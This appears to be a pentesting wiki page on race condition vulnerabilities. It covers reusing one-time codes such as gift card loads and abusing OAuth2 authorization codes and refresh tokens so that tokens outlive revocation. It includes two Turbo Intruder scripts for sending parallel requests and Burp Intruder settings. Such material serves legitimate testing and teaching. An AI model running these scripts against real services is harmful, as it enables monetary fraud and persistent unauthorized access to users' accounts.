Pentesting

Race Condition

Anything limited by a number of attempts

Race conditions are vulnerabilities that appear in webs that limit the number of times you can perform an action. A very easy example can be found in this report.

Using several times a one-time use code

When you make the web page perform some action that should be done only once, but if the action is done several times you will be benefited, you really need to try a Race condicion. Most of the time this is directly related with money (if an action is made you get X money, so let's try to make it several time very quickly).

Using from the same account the same code several times

For example, in this bug the hunter was able to load the money inside a gift card several times.

This is the turbo intruder script used to test the race condition of the mentioned writeup:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
for i in range(30):
engine.queue(target.req, i)
engine.queue(target.req, target.baseInput, gate='race1')
engine.start(timeout=5)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)

Using also BURP you could also send the request to Intruder, set the number of threads to 30 inside the Options menu and, select as payload Null payloads and generate 30.

Using the same code from different accounts

If the previously proposal didn't work (try to use the same code several times from the same account) you try a variant:Try t use the same code from different accounts:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)

OAuth2 eternal persistence

There are several OAUth providers. Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the client will need to permit your application to access some of their data inside of the OAUth provider. So, until here just a common login with google/linkdin/github... where you aer prompted with a page saying: "Application <InsertCoolName> wants to access you information, do you want to allow it?"

Race Condition in authorization_code

The problem appears when you accept it and automatically sends a authorization_code to the malicious application. Then, this application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT (Authentication Token/Refresh Token) from the authorization_code for your account. Basically, it will abuse the fact that you have accept the application to access your data to create several accounts. Then, if you stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid.

Race Condition in Refresh Token

Once you have obtained a valid RT you could try to abuse it to generate several AT/RT and even if the user cancels the permissions for the malicious application to access his data, several RTs will still be valid.

References